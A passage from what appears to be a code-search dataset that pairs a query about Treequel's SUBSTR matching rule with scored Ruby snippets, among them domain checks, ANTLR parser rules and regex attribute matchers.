"text": "def check_domains(sld_or_domains, tlds=nil)\n query_args = {'Command' => 'Check'}\n if sld_or_domains.is_a? Array\n query_args['DomainList'] = sld_or_domains.join(',')\n else\n query_args['SLD'] = sld_or_domains\n end\n unless tlds == nil\n if tlds.is_a? Array\n query_args['TLDList'] = tlds.join(',')\n else\n query_args['TLD'] = tlds\n end\n end\n query_push(query_args)\n get_response\n # Set up a hash of domains\n checked_domains = {}\n if query_args['DomainList']\n sld_or_domains.each {|domain| checked_domains[domain] = nil}\n elsif query_args['TLDList']\n tlds.each {|tld| checked_domains[sld_or_domains + '.' + tld] = nil}\n else\n checked_domains[sld_or_domains + '.' + tlds] = nil\n end\n # RRPCodes: 210 = available, 211 = not available\n if checked_domains.length > 1\n # If we have multiple domains, run a loop to fill in results\n x = 1\n @result['DomainCount'].to_i.times do\n domain = @result['Domain' + x.to_s]\n if @result['RRPCode' + x.to_s].to_i == 210\n checked_domains[domain] = true\n elsif @result['RRPCode' + x.to_s].to_i == 211\n checked_domains[domain] = false\n end\n x += 1\n end\n else\n if @result['RRPCode'].to_i == 210\n checked_domains[sld_or_domains + '.' + tlds] = true\n elsif @result['RRPCode'].to_i == 211\n checked_domains[sld_or_domains + '.' + tlds] = false\n end\n end\n puts checked_domains.to_yaml\n end",
"title": ""
},
{
"docid": "444021d7dd818c7904ea533b3453b990",
"score": "0.54062325",
"text": "def dns\n @dns ||= @node.search('DNS/listEntry').map do |entry|\n DomainName.new(entry.inner_text)\n end\n end",
"title": ""
}
] |
e11e525f26bea7a10ab46da2286d0907 | Return the Treequel::Schema::MatchingRule that corresponds to the SUBSTR matchingRule of the receiving attributeType. | [
{
"docid": "704ef29f1a013613bdcb46834ef8c363",
"score": "0.71275675",
"text": "def substr_matching_rule\n\t\tif oid = self.submatch_oid\n\t\t\treturn self.schema.matching_rules[ oid ]\n\t\telsif self.sup\n\t\t\treturn self.sup.substr_matching_rule\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend",
"title": ""
}
] | [
{
"docid": "132cdcdd26434eb7458f09f53fb45882",
"score": "0.54769045",
"text": "def rule_type; end",
"title": ""
},
{
"docid": "3b67f204d296e7d0b15d80d4debb016b",
"score": "0.54344803",
"text": "def parse_rule(s, type); end",
"title": ""
},
{
"docid": "53a84266b3665293064cbd4ae789be82",
"score": "0.53884083",
"text": "def subtype_declaration\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n return_value = SubtypeDeclarationReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n subtype_declaration_start_index = @input.index\n\n root_0 = nil\n string_literal61 = nil\n string_literal63 = nil\n string_literal64 = nil\n __DOUBLEDOT67__ = nil\n __SEMI69__ = nil\n keySUBTYPE59 = nil\n type_spec60 = nil\n type_spec62 = nil\n keyRANGE65 = nil\n literal66 = nil\n literal68 = nil\n\n tree_for_string_literal61 = nil\n tree_for_string_literal63 = nil\n tree_for_string_literal64 = nil\n tree_for_DOUBLEDOT67 = nil\n tree_for_SEMI69 = nil\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return return_value\n end\n root_0 = @adaptor.create_flat_list\n\n\n # at line 83:4: keySUBTYPE type_spec 'IS' type_spec ( 'NOT' 'NULL' | keyRANGE literal DOUBLEDOT literal )? SEMI\n @state.following.push( TOKENS_FOLLOWING_keySUBTYPE_IN_subtype_declaration_428 )\n keySUBTYPE59 = keySUBTYPE\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, keySUBTYPE59.tree )\n end\n @state.following.push( TOKENS_FOLLOWING_type_spec_IN_subtype_declaration_430 )\n type_spec60 = type_spec\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, type_spec60.tree )\n end\n string_literal61 = match( T__52, TOKENS_FOLLOWING_T__52_IN_subtype_declaration_432 )\n if @state.backtracking == 0\n\n tree_for_string_literal61 = @adaptor.create_with_payload( string_literal61 )\n @adaptor.add_child( root_0, tree_for_string_literal61 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_type_spec_IN_subtype_declaration_434 )\n type_spec62 = type_spec\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, type_spec62.tree )\n end\n # at line 83:40: ( 'NOT' 'NULL' | keyRANGE literal DOUBLEDOT literal )?\n alt_17 = 3\n look_17_0 = @input.peek( 1 )\n\n if ( look_17_0 == T__57 )\n alt_17 = 1\n elsif ( look_17_0 == ID )\n alt_17 = 2\n end\n case alt_17\n when 1\n # at line 83:42: 'NOT' 'NULL'\n string_literal63 = match( T__57, TOKENS_FOLLOWING_T__57_IN_subtype_declaration_438 )\n if @state.backtracking == 0\n\n tree_for_string_literal63 = @adaptor.create_with_payload( string_literal63 )\n @adaptor.add_child( root_0, tree_for_string_literal63 )\n\n end\n string_literal64 = match( T__58, TOKENS_FOLLOWING_T__58_IN_subtype_declaration_440 )\n if @state.backtracking == 0\n\n tree_for_string_literal64 = @adaptor.create_with_payload( string_literal64 )\n @adaptor.add_child( root_0, tree_for_string_literal64 )\n\n end\n\n when 2\n # at line 83:57: keyRANGE literal DOUBLEDOT literal\n @state.following.push( TOKENS_FOLLOWING_keyRANGE_IN_subtype_declaration_444 )\n keyRANGE65 = keyRANGE\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, keyRANGE65.tree )\n end\n @state.following.push( TOKENS_FOLLOWING_literal_IN_subtype_declaration_446 )\n literal66 = literal\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, literal66.tree )\n end\n __DOUBLEDOT67__ = match( DOUBLEDOT, TOKENS_FOLLOWING_DOUBLEDOT_IN_subtype_declaration_448 )\n if @state.backtracking == 0\n\n tree_for_DOUBLEDOT67 = @adaptor.create_with_payload( __DOUBLEDOT67__ )\n @adaptor.add_child( root_0, tree_for_DOUBLEDOT67 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_literal_IN_subtype_declaration_450 )\n literal68 = literal\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, literal68.tree )\n end\n\n end\n __SEMI69__ = match( SEMI, TOKENS_FOLLOWING_SEMI_IN_subtype_declaration_455 )\n if @state.backtracking == 0\n\n tree_for_SEMI69 = @adaptor.create_with_payload( __SEMI69__ )\n @adaptor.add_child( root_0, tree_for_SEMI69 )\n\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n memoize( __method__, subtype_declaration_start_index, success ) if @state.backtracking > 0\n\n end\n \n return return_value\n end",
"title": ""
},
{
"docid": "bae6a134e84dbbf4f639f3c8d6506125",
"score": "0.5326857",
"text": "def rule(attribute_name)\n klass.new(attribute_name, matcher)\n end",
"title": ""
},
{
"docid": "f9f72a3bb8e6859ca90d142f79a5ee94",
"score": "0.5309682",
"text": "def type\n rule.type\n end",
"title": ""
},
{
"docid": "b0e57e2ab8698a9b7077cffc626b1b64",
"score": "0.5150185",
"text": "def equality_matching_rule\n\t\tif oid = self.eqmatch_oid\n\t\t\treturn self.schema.matching_rules[ oid ]\n\t\telsif self.sup\n\t\t\treturn self.sup.equality_matching_rule\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend",
"title": ""
},
{
"docid": "6638a8bd1455cda3718a6553e7e419cc",
"score": "0.49776775",
"text": "def lookup_which_subtype_to_create(parent_name, attr_name)\n begin\n attr = attr_name.to_s.to_camel_case\n \n p = @parser.types[parent_name]\n a = p[attr]\n a = p.select{|pk| pk.downcase == attr.downcase}.values.first if a.nil?\n \n s = a[:type]\n \n subtype = s.gsub(/ns:/, '')\n \n subtype\n \n rescue Exception => e\n puts \"Exception: #{e.to_s} parent_name: #{parent_name} attr_name: #{attr_name} attr: #{attr}\"\n nil\n end \n end",
"title": ""
},
{
"docid": "b23da58d3f65c8094129c90f7cc1ee4b",
"score": "0.49723706",
"text": "def attribute_name\n rule.attribute_name\n end",
"title": ""
},
{
"docid": "b206a873ffe9b8b6de995ff50a54c443",
"score": "0.49499437",
"text": "def attribute_pattern(type)\n @attr_pattern[type]\n end",
"title": ""
},
{
"docid": "9b36896b79905fd664dcf0ce734048da",
"score": "0.49478346",
"text": "def rule\n return @rule\n end",
"title": ""
},
{
"docid": "3b0b89eecf193151c7f0fa938a4a9986",
"score": "0.49321467",
"text": "def subtype; @type.split('/', 2).last; end",
"title": ""
},
{
"docid": "3b0b89eecf193151c7f0fa938a4a9986",
"score": "0.49321467",
"text": "def subtype; @type.split('/', 2).last; end",
"title": ""
},
{
"docid": "84d9e34f81422a77e867061580959bb8",
"score": "0.4926846",
"text": "def rule\n rules[0]\n end",
"title": ""
},
{
"docid": "84d9e34f81422a77e867061580959bb8",
"score": "0.4926846",
"text": "def rule\n rules[0]\n end",
"title": ""
},
{
"docid": "84d9e34f81422a77e867061580959bb8",
"score": "0.4926846",
"text": "def rule\n rules[0]\n end",
"title": ""
},
{
"docid": "e8330d2003e9f95788220e688f89d32f",
"score": "0.49152392",
"text": "def attribute_name\n rule.attribute_name\n end",
"title": ""
},
{
"docid": "34d0c9d5cbf2e0e3f071a35334d71044",
"score": "0.48599234",
"text": "def rule\n rules[0]\n end",
"title": ""
},
{
"docid": "34d0c9d5cbf2e0e3f071a35334d71044",
"score": "0.48599234",
"text": "def rule\n rules[0]\n end",
"title": ""
},
{
"docid": "7b4b399bf6ade141a782ad639da353b7",
"score": "0.48575044",
"text": "def url_match_attribute\n value = self.class.url_match_attribute\n return if value.nil?\n\n value = Regexp.new(value) unless value.is_a?(Regexp)\n value\n end",
"title": ""
},
{
"docid": "9a655c0e149f5564a9b9d7988d1fd856",
"score": "0.48345158",
"text": "def build_rule_for_subclass(rule, subject)\n CanCan::Rule.new(rule.base_behavior, rule.actions, subject.superclass,\n rule.conditions.merge(subject.inheritance_column => subject.name), rule.block)\n end",
"title": ""
},
{
"docid": "89b4d317d3dedd60fbbdb5c873b123b5",
"score": "0.4822283",
"text": "def ordering_matching_rule\n\t\tif oid = self.ordmatch_oid\n\t\t\treturn self.schema.matching_rules[ oid ]\n\t\telsif self.sup\n\t\t\treturn self.sup.ordering_matching_rule\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e3f519b9bf20d7f5d1d91f76a43e36fb",
"score": "0.48210898",
"text": "def attribute_name\n @rule.attribute_name\n end",
"title": ""
},
{
"docid": "004b02dbdb87245d05a3ccbeb807bc61",
"score": "0.4775744",
"text": "def match_type\n nested_node('matchType').to_i\n end",
"title": ""
},
{
"docid": "39e1c370704be310ae3c147cff41c3e1",
"score": "0.47563288",
"text": "def rule_type\n @api_response['type']\n end",
"title": ""
},
{
"docid": "a2007835b6a055a78fd604b9e13695f1",
"score": "0.47184145",
"text": "def census_subdivision_type\n self.class.census_subdivision_types.fetch(self).sub(/\\ATV\\z/, \"T\").sub(/\\AC\\z/, \"CY\")\n end",
"title": ""
},
{
"docid": "9be851f08a3f078ad0d89aed7e1f0fa4",
"score": "0.46892545",
"text": "def to_rx\n case Howzit.options[:matching]\n when 'exact'\n /^#{self}$/i\n when 'beginswith'\n /^#{self}/i\n when 'fuzzy'\n /#{split(//).join('.{0,3}?')}/i\n else\n /#{self}/i\n end\n end",
"title": ""
},
{
"docid": "0d4fba1032b2c07a12d64aacd60fce2e",
"score": "0.46737254",
"text": "def membership_rule\n return @membership_rule\n end",
"title": ""
},
{
"docid": "0d4fba1032b2c07a12d64aacd60fce2e",
"score": "0.46737254",
"text": "def membership_rule\n return @membership_rule\n end",
"title": ""
},
{
"docid": "525f50cf9c619fcfeb813d4f02c977fa",
"score": "0.46493912",
"text": "def split_rule(string)\n\t\tr = Rule.new\n\t\ti = 0\n\t\tsplitPatternCondition = /(\\w+\\.\\d+\\s+\\=\\s+[\\w\\.]+)+/\n\t\tsplitPattern = /\\>\\s+(\\w+)\\s+(\\d+).(\\d+)/\n\t\twhile string.scan(splitPatternCondition)[i]\n\t\t\tr.add_condition(condition_parts(string.scan(splitPatternCondition)[i].to_s))\t\t\t\n\t\t\ti = i + 1\n\t\tend\n\t\t\t#puts string.scan(splitPattern)[3].to_i\n\t\t\tr.add_length(string.scan(splitPattern)[0][2].to_i)\n\t\t\t#puts r.length\n\t\t\tr.add_category(string.scan(splitPattern)[0][0].to_s)\n\t\t\t#puts r.category\n\t\t\tr.add_start(string.scan(splitPattern)[0][1])\n\t\treturn r\n\tend",
"title": ""
},
{
"docid": "311199ca4533c622524f93a61a250850",
"score": "0.46446553",
"text": "def get_type(rule)\n r0 = rule[0]\n types = [\n :__adjacent_sibling,\n :__child,\n :__descendant,\n :__general_sibling,\n ]\n if r0.atom? && types.include?(r0.value)\n r0.value\n elsif r0.s_exp? && r0.length == 2\n a, b = r0\n if(a.atom? && types.include?(a.value) &&\n b.atom? && types.include?(b.value))\n [a.value, b.value] # compound type\n end\n end\n end",
"title": ""
},
{
"docid": "4d7748393754e3d617106bc477149d65",
"score": "0.46371064",
"text": "def match_string_failure_message_as\n @match_string_failure_message_as ||= :substring\n end",
"title": ""
},
{
"docid": "50bb914447310d186b2d576c307ddcc1",
"score": "0.46219492",
"text": "def subtype\n resource[:name].split(/-/)[2]\n end",
"title": ""
},
{
"docid": "748888b5738e60c5211033794a4ac06d",
"score": "0.461575",
"text": "def rule(ant, cons)\n\t\tr = Rule.new(ant, cons)\n\t\t@rules.push r\n\t\treturn @rules[@rules.length-1]\n\tend",
"title": ""
},
{
"docid": "1ab03a9b8ac2a84719ebd96c430d8858",
"score": "0.45794448",
"text": "def rule(name)\n klass.new(name, matcher)\n end",
"title": ""
},
{
"docid": "5ff99a7d0291c8f3197f6bee37f5b225",
"score": "0.45719814",
"text": "def type_qualifier\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 21)\n type_qualifier_start_index = @input.index\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return \n end\n # at line \n if @input.peek(1).between?(T__46, T__47)\n @input.consume\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n\n mse = MismatchedSet(nil)\n raise mse\n end\n\n\n\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 21)\n memoize(__method__, type_qualifier_start_index, success) if @state.backtracking > 0\n\n end\n \n return \n end",
"title": ""
},
{
"docid": "f9c2e0b16cfc91fc206742fd9c8e9459",
"score": "0.45609286",
"text": "def break_apart_typed_rule(type, rule, subject, match, &b)\n # type = rule[0].atom? && rule[0].value\n case rule[1].length\n when 2\n process_binary_rule(type, rule, subject, match, &b)\n when 3\n process_ternary_rule(type, rule, subject, match, &b)\n else\n raise RuleException, \"Malformed rule\"\n end\n end",
"title": ""
},
{
"docid": "3a4dec3962fae637362c534b1e53237a",
"score": "0.45579964",
"text": "def chosen_rule\n\t\t\tunless self.subrules.nil?\n\t\t\t\t# SubruleChooser::choose\n\t\t\t\treturn chosen\n\t\t\telse\n\t\t\t\treturn self\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "b4d2f0db11b0eb55f0ee09715a1ed812",
"score": "0.4556641",
"text": "def get_rule(publisher, filter, rule)\n logger.info(\"Finding rule matching (#{rule.type}:#{rule.value}) on #{filter.class} for publisher #{publisher.name}\")\n return get(\"#{publisher.uri}/filters/#{filter.name}/rules.xml?type=#{CGI.escape(rule.type)}&value=#{CGI.escape(rule.value)}\")\n end",
"title": ""
},
{
"docid": "0142361d086553c7a54fa78dd77d2a10",
"score": "0.45521748",
"text": "def build_rule(file_type, regex, message, type = \"error\", reason = \"\", fix = \"\")\n rule = Hash.new\n rule[\"file_type\"] = file_type\n # This is quite possibly the WORST regex I've ever had to write.\n rule[\"regex\"] = regex.gsub!(/\\\\/, \"\\\\\" * 8)\n rule[\"message\"] = message\n rule[\"type\"] = type\n rule[\"reason\"] = reason\n rule[\"fix\"] = fix\n return rule\n end",
"title": ""
},
{
"docid": "00167c3e5442038fa15a1635e520d6d3",
"score": "0.45412207",
"text": "def rule_name\n return @production.rule_name\n end",
"title": ""
},
{
"docid": "72a33c106ee5208294df2f17478bdd42",
"score": "0.4533466",
"text": "def census_subdivision_type_id\n self[/[^:]+\\z/][0,7]\n end",
"title": ""
},
{
"docid": "72a33c106ee5208294df2f17478bdd42",
"score": "0.4533466",
"text": "def census_subdivision_type_id\n self[/[^:]+\\z/][0,7]\n end",
"title": ""
},
{
"docid": "96eb436b57f7edc86f4a121e04b94c2b",
"score": "0.45334184",
"text": "def get_rule_type(css_string)\n\n\t\tif css_string.include?('@')\n\n\t\t\t@@single_atrule.each{ |rule|\n\t\t\t\tif css_string.include?(rule)\n\t\t\t\t\treturn \"single\"\n\t\t\t\tend\n\t\t\t}\n\t\t\t# if css_string.include?('keyframes')\n\t\t\t# \treturn 'keyframes'\n\t\t\t# end\n\t\t\treturn \"nested\"\n\t\telse\n\t\t\treturn \"selector\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "61094f7890b8fd94ab4b64f445f88e1e",
"score": "0.45214036",
"text": "def attribute_match(equality, value)\n regexp = value.is_a?(Regexp) ? value : Regexp.escape(value.to_s)\n case equality\n when \"=\" then\n # Match the attribute value in full\n Regexp.new(\"^#{regexp}$\")\n when \"~=\" then\n # Match a space-separated word within the attribute value\n Regexp.new(\"(^|\\s)#{regexp}($|\\s)\")\n when \"^=\"\n # Match the beginning of the attribute value\n Regexp.new(\"^#{regexp}\")\n when \"$=\"\n # Match the end of the attribute value\n Regexp.new(\"#{regexp}$\")\n when \"*=\"\n # Match substring of the attribute value\n regexp.is_a?(Regexp) ? regexp : Regexp.new(regexp)\n when \"|=\" then\n # Match the first space-separated item of the attribute value\n Regexp.new(\"^#{regexp}($|\\s)\")\n else\n raise InvalidSelectorError, \"Invalid operation/value\" unless value.empty?\n # Match all attributes values (existence check)\n //\n end\n end",
"title": ""
},
{
"docid": "05fbf203cca7d7c169ad4f3ab4108c3d",
"score": "0.4519195",
"text": "def type_spec\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 29 )\n return_value = TypeSpecReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n type_spec_start_index = @input.index\n\n root_0 = nil\n __TYPE_ATTR334__ = nil\n __ROWTYPE_ATTR336__ = nil\n __LPAREN338__ = nil\n __NUMBER339__ = nil\n __RPAREN340__ = nil\n datatype332 = nil\n column_spec333 = nil\n table_spec335 = nil\n type_name337 = nil\n\n tree_for_TYPE_ATTR334 = nil\n tree_for_ROWTYPE_ATTR336 = nil\n tree_for_LPAREN338 = nil\n tree_for_NUMBER339 = nil\n tree_for_RPAREN340 = nil\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return return_value\n end\n # at line 251:2: ( datatype | column_spec TYPE_ATTR | table_spec ROWTYPE_ATTR | type_name ( LPAREN NUMBER RPAREN )? )\n alt_81 = 4\n alt_81 = @dfa81.predict( @input )\n case alt_81\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 251:4: datatype\n @state.following.push( TOKENS_FOLLOWING_datatype_IN_type_spec_1832 )\n datatype332 = datatype\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, datatype332.tree )\n end\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 253:4: column_spec TYPE_ATTR\n @state.following.push( TOKENS_FOLLOWING_column_spec_IN_type_spec_1839 )\n column_spec333 = column_spec\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, column_spec333.tree )\n end\n __TYPE_ATTR334__ = match( TYPE_ATTR, TOKENS_FOLLOWING_TYPE_ATTR_IN_type_spec_1841 )\n if @state.backtracking == 0\n\n tree_for_TYPE_ATTR334 = @adaptor.create_with_payload( __TYPE_ATTR334__ )\n @adaptor.add_child( root_0, tree_for_TYPE_ATTR334 )\n\n end\n\n when 3\n root_0 = @adaptor.create_flat_list\n\n\n # at line 255:4: table_spec ROWTYPE_ATTR\n @state.following.push( TOKENS_FOLLOWING_table_spec_IN_type_spec_1847 )\n table_spec335 = table_spec\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, table_spec335.tree )\n end\n __ROWTYPE_ATTR336__ = match( ROWTYPE_ATTR, TOKENS_FOLLOWING_ROWTYPE_ATTR_IN_type_spec_1849 )\n if @state.backtracking == 0\n\n tree_for_ROWTYPE_ATTR336 = @adaptor.create_with_payload( __ROWTYPE_ATTR336__ )\n @adaptor.add_child( root_0, tree_for_ROWTYPE_ATTR336 )\n\n end\n\n when 4\n root_0 = @adaptor.create_flat_list\n\n\n # at line 257:4: type_name ( LPAREN NUMBER RPAREN )?\n @state.following.push( TOKENS_FOLLOWING_type_name_IN_type_spec_1855 )\n type_name337 = type_name\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, type_name337.tree )\n end\n # at line 257:14: ( LPAREN NUMBER RPAREN )?\n alt_80 = 2\n look_80_0 = @input.peek( 1 )\n\n if ( look_80_0 == LPAREN )\n alt_80 = 1\n end\n case alt_80\n when 1\n # at line 257:16: LPAREN NUMBER RPAREN\n __LPAREN338__ = match( LPAREN, TOKENS_FOLLOWING_LPAREN_IN_type_spec_1859 )\n if @state.backtracking == 0\n\n tree_for_LPAREN338 = @adaptor.create_with_payload( __LPAREN338__ )\n @adaptor.add_child( root_0, tree_for_LPAREN338 )\n\n end\n __NUMBER339__ = match( NUMBER, TOKENS_FOLLOWING_NUMBER_IN_type_spec_1861 )\n if @state.backtracking == 0\n\n tree_for_NUMBER339 = @adaptor.create_with_payload( __NUMBER339__ )\n @adaptor.add_child( root_0, tree_for_NUMBER339 )\n\n end\n __RPAREN340__ = match( RPAREN, TOKENS_FOLLOWING_RPAREN_IN_type_spec_1863 )\n if @state.backtracking == 0\n\n tree_for_RPAREN340 = @adaptor.create_with_payload( __RPAREN340__ )\n @adaptor.add_child( root_0, tree_for_RPAREN340 )\n\n end\n\n end\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 29 )\n memoize( __method__, type_spec_start_index, success ) if @state.backtracking > 0\n\n end\n \n return return_value\n end",
"title": ""
},
{
"docid": "613e2e1ff7ea58cd764dbc305d16b1e4",
"score": "0.45104182",
"text": "def super_rule(name)\n sym = name.to_sym\n included_grammars.each do |grammar|\n rule = grammar.rule(sym)\n return rule if rule\n end\n nil\n end",
"title": ""
},
{
"docid": "d71ff25ed30b117cd5c37607cce6f30a",
"score": "0.45042777",
"text": "def super_rule(name)\n sym = name.to_sym\n included_grammars.each do |grammar|\n rule = grammar.rule(sym)\n return rule if rule\n end\n nil\n end",
"title": ""
},
{
"docid": "85c59db1414c43996c1919df5eb4baf2",
"score": "0.44987527",
"text": "def process_untyped_rule(rule, subject, match, &b)\n case rule.length\n when 1\n process_rule_atom(nil, rule[0], subject, match, false, &b)\n else\n raise RuleException, \"Malformed rule\"\n end\n end",
"title": ""
},
{
"docid": "845d0e5ef95154e168187022ac23c258",
"score": "0.44865128",
"text": "def getMatchingRules(matching_rules)\n return \"rehydration\", \"rehydration\"\n end",
"title": ""
},
{
"docid": "845d0e5ef95154e168187022ac23c258",
"score": "0.44865128",
"text": "def getMatchingRules(matching_rules)\n return \"rehydration\", \"rehydration\"\n end",
"title": ""
},
{
"docid": "8b0f9b0f0e8f9dbb5732bdd979b3064c",
"score": "0.446567",
"text": "def rule_for(state, char)\n rules.detect { |rule| rule.applies_to?(state, char) }\n end",
"title": ""
},
{
"docid": "72458811803d3b84671d2d59dec4402f",
"score": "0.44624698",
"text": "def attr_match_rule?(rule, attrib, old_val, new_val)\n matcher = ->(_x, _y) { true }\n rule_attr = rule[:attr].dup\n\n # Start with '+' or '-' indicates attribute was added or removed\n if rule_attr.start_with?('+')\n return false unless old_val.nil?\n rule_attr.sub!(/^\\+/, '')\n elsif rule_attr.start_with?('-')\n return false unless new_val.nil?\n rule_attr.sub!(/^-/, '')\n end\n\n # Conditions that match the attribute value or regular expression\n # Operators supported include:\n # => String equality\n # =+> Attribute must have been added and equal this\n # =-> Attribute must have been removed and equal this\n # =~> Change must match regexp (one line of change matching is sufficient)\n # =&> Change must match regexp (all lines of change MUST match regexp)\n if rule_attr =~ /\\A(.+?)(=[\\-\\+~&]?>)(.+)/m\n rule_attr = Regexp.last_match(1)\n operator = Regexp.last_match(2)\n value = Regexp.last_match(3)\n if operator == '=>'\n # String equality test\n matcher = ->(x, y) { x == value || y == value }\n elsif operator == '=+>'\n # String equality test only of the new value\n matcher = ->(_x, y) { y == value }\n elsif operator == '=->'\n # String equality test only of the old value\n matcher = ->(x, _y) { x == value }\n elsif operator == '=~>' || operator == '=&>'\n begin\n my_regex = Regexp.new(value, Regexp::IGNORECASE)\n rescue RegexpError => exc\n key = \"#{rule[:type]}[#{rule[:title]}] #{rule_attr.gsub(/\\f/, '::')} =~ #{value}\"\n raise RegexpError, \"Invalid ignore regexp for #{key}: #{exc.message}\"\n end\n matcher = ->(x, y) { regexp_operator_match?(operator, my_regex, x, y) }\n end\n end\n\n if rule_attr =~ /\\f/\n beginning = rule_attr.start_with?(\"\\f\") ? '\\A' : '(\\A|\\f)'\n ending = '(\\f|\\Z)'\n rule_attr.gsub!(/^\\f+/, '')\n hash_attr_regexp = Regexp.new(beginning + Regexp.escape(rule_attr) + ending, Regexp::IGNORECASE)\n return attrib.match(hash_attr_regexp) && matcher.call(old_val, new_val)\n else\n s = attrib.downcase.split(/\\f/)\n return s.include?(rule_attr.downcase) && matcher.call(old_val, new_val)\n end\n end",
"title": ""
},
{
"docid": "d8b29ed2ed268d8c960ff722de8820b1",
"score": "0.445704",
"text": "def type(srtype)\n self.find { |s_r| s_r.type==srtype}\n end",
"title": ""
},
{
"docid": "d8b29ed2ed268d8c960ff722de8820b1",
"score": "0.44569904",
"text": "def type(srtype)\n self.find { |s_r| s_r.type==srtype}\n end",
"title": ""
},
{
"docid": "153c5e9a65c5deaa9bd86ecc4604b0ca",
"score": "0.44540527",
"text": "def get_type(str)\n if (str.include? \"type:\")\n match_and_normalize text: str, pattern: /type:\\s*(.*)\\n/\n end\n end",
"title": ""
},
{
"docid": "813063548139f3b611f686eae46e7659",
"score": "0.44528764",
"text": "def human_subtype\n SUBTYPES[subtype] || subtype.to_s\n end",
"title": ""
},
{
"docid": "e930109a9ad7d2a8e3b5062dbaa6c312",
"score": "0.44472858",
"text": "def subtype\n @subtype\n end",
"title": ""
},
{
"docid": "161154a2513dc03afa9789aeb5c5a1a0",
"score": "0.44468108",
"text": "def rule\n @rule ||= resolve!\n end",
"title": ""
},
{
"docid": "928c4291948f3068b62768fa770473d3",
"score": "0.44420862",
"text": "def find_rule str\n found = Linguify.rules.select do |rule|\n if rule[:match] =~ str\n # ok, it matched, but only alow matches with word boundaries\n match = rule[:match].match(str).to_a\n needle = match.first\n Linguified.has_needle_on_word_boundary? Linguified.informative_split(str,needle)\n else\n false\n end\n end\n if found.size == 0\n pp @stack\n raise \"no step definition for #{str}\"\n end\n found[0]\n end",
"title": ""
},
{
"docid": "1dd2fa6eaf6612342819e64322560f8d",
"score": "0.44328055",
"text": "def parse(str)\n\t\t\t\n\t\t\t# it's okay if the argument can't\n\t\t\t# be matched against (it might be\n\t\t\t# a nil, or some other junk). just\n\t\t\t# return nil (no matches)\n\t\t\treturn nil unless\\\n\t\t\t\tstr.respond_to? :match\n\t\t\t\n\t\t\tparsed = []\n\t\t\t\n\t\t\t# iterate this model's fuzzable properties, and further extract\n\t\t\t# _str_ via the Type class of each one. note that Type.extract!\n\t\t\t# is destructive, so _str_ is changing throughout this iterator\n\t\t\tself.class.fuzzables.each do |prop|\n\t\t\t\tunless(extracted = prop.type.extract!(str)).nil?\n\t\t\t\t\tattribute_set prop.name, extracted\n\t\t\t\t\tparsed.push(prop)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t# store the remains of the parsed data,\n\t\t\t# so it can be presented to the end user\n\t\t\t@unparsed = str.dup\n\t\t\t\n\t\t\t# return an array of the properties that were\n\t\t\t# updated, or nil (NOT empty array!) if none were\n\t\t\t(parsed.empty?) ? nil : parsed\n\t\tend",
"title": ""
},
{
"docid": "0bfe14d208cc83502018c4740acda534",
"score": "0.44183323",
"text": "def rule_for(configuration, character)\n rules.detect {|rule| rule.applies_to?(configuration, character)}\n end",
"title": ""
},
{
"docid": "1278f57587e888ecba71bfede22fc1ac",
"score": "0.4406202",
"text": "def lookup_rule(subject)\n case subject\n when Symbol, Class\n subjects[subject] || NullRule\n else\n subjects[subject.class] || NullRule\n end\n end",
"title": ""
},
{
"docid": "1495f404f16828b031fe3d1c494e05a9",
"score": "0.44059408",
